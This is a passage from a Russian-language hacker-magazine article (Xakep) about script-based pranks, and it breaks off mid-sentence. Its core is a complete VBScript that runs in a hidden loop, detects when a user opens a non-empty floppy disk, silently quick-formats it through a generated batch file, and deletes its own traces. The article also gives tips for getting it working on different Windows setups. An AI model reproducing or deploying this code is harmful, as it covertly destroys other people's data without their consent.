ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах
Анализирующий
Спецвыпуск Xakep, номер #033, стр. 033-046-2
При желании можешь усовершенствовать этот скрипт. Например, можно считать количество попыток использования диска и каждый раз выдавать новое предупреждение. В общем, пофантазируй.
ИЗДЕВАЕМСЯ НАД FDD И ЕГО ХОЗЯИНОМ
С оптическими дисками разобрались, но остались дискеты. Что можно делать с дискетами? Извлекать не получится по причине отсутствия какой либо связи данной механической части с электроникой. Остается логическая составляющая. Самым оптимальным вариантом мне представляется форматирование, причем скрытое. Открыл так чел документ с дискетки, работает потихоньку, глянь - а файлов-то и нет! Только осторожно: возможны приступы вандализма, членовредительство :), громкие размышления на тему вирусов, вирусописателей и интимной жизни их родственников.
Приступим.
Option Explicit
Dim WshShell, fso,flopp, odrive
Dim commandfile, batfile, txtcom, txtbat
Dim disklabel, x
'Объявляем используемые переменные
commandfile="c:\LOG.LOG"
'Имя файла с командами, передаваемыми программе форматирования
batfile="c:\file.bat"
'Имя запускаемого файла
disklabel="Loh"
'Метка для форматируемого диска
x=0
On Error Resume Next
'Блокировка сообщений об ошибках
set WshShell=WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
'Подключаются системные объекты
Do While x=0
'Создается бесконечный цикл
'для работы скрипта до перезагрузки
Wscript.sleep 10000
'Пауза между проверками наличия диска в дисководе в миллисекундах
If WshShell.AppActivate("A:") then
'Если юзер открыл окно дискеты
'Значит он вставил ее в дисковод
Set flopp = fso.GetDrive("A")
'Получаем доступ к флоппу
If flopp.IsReady and flopp.FreeSpace <> flopp.TotalSize then
'Если он не чистый
'То создается файл с ответами
Set txtcom = fso.opentextfile(commandfile,2,true)
txtcom.writeline
txtcom.writeline "y"
txtcom.close
'и пакетный файл с командой форматирования
'и заметания следов
Set txtbat = fso.opentextfile(batfile,2,true)
txtbat.writeline "format a: /q /v:" & disklabel & " < " & commandfile
txtbat.writeline "del " & commandfile
txtbat.writeline "del " & batfile
txtbat.close
WshShell.run batfile,0
'Теперь полученная парочка принимается за работу
'Причем в скрытом режиме
End if
End if
'Заново повторяется вся процедура
Loop
Эта фича будет работать при условиях:
1. Дискета не защищена от записи.
2. В "Свойствах папки" - "Вид" - отмечена опция "Выводить полный путь в строке заголовка".
3. Окно проводника с содержимым дискеты открыто, пусть даже в свернутом виде, как минимум 10 секунд. Если интервал не устраивает, измени строку
Wscript.sleep 10000
например, на
Wscript.sleep 5000
4. Корень диска С не защищен от записи (бывает и такое). В противном случае замени имена (расположение) файлов c:\LOG.LOG и c:\file.bat на другие. В принципе, имена и расширения могут быть любыми.
5. Данному пользователю разрешено форматировать дискеты (Windows 2k/XP).
6. Если террор производится на компе под управлением Windows XP, то дискета форматируется даже при открытых на ней файлах. Если же используется Винда из серии 9х/МЕ, то нужно заменить строку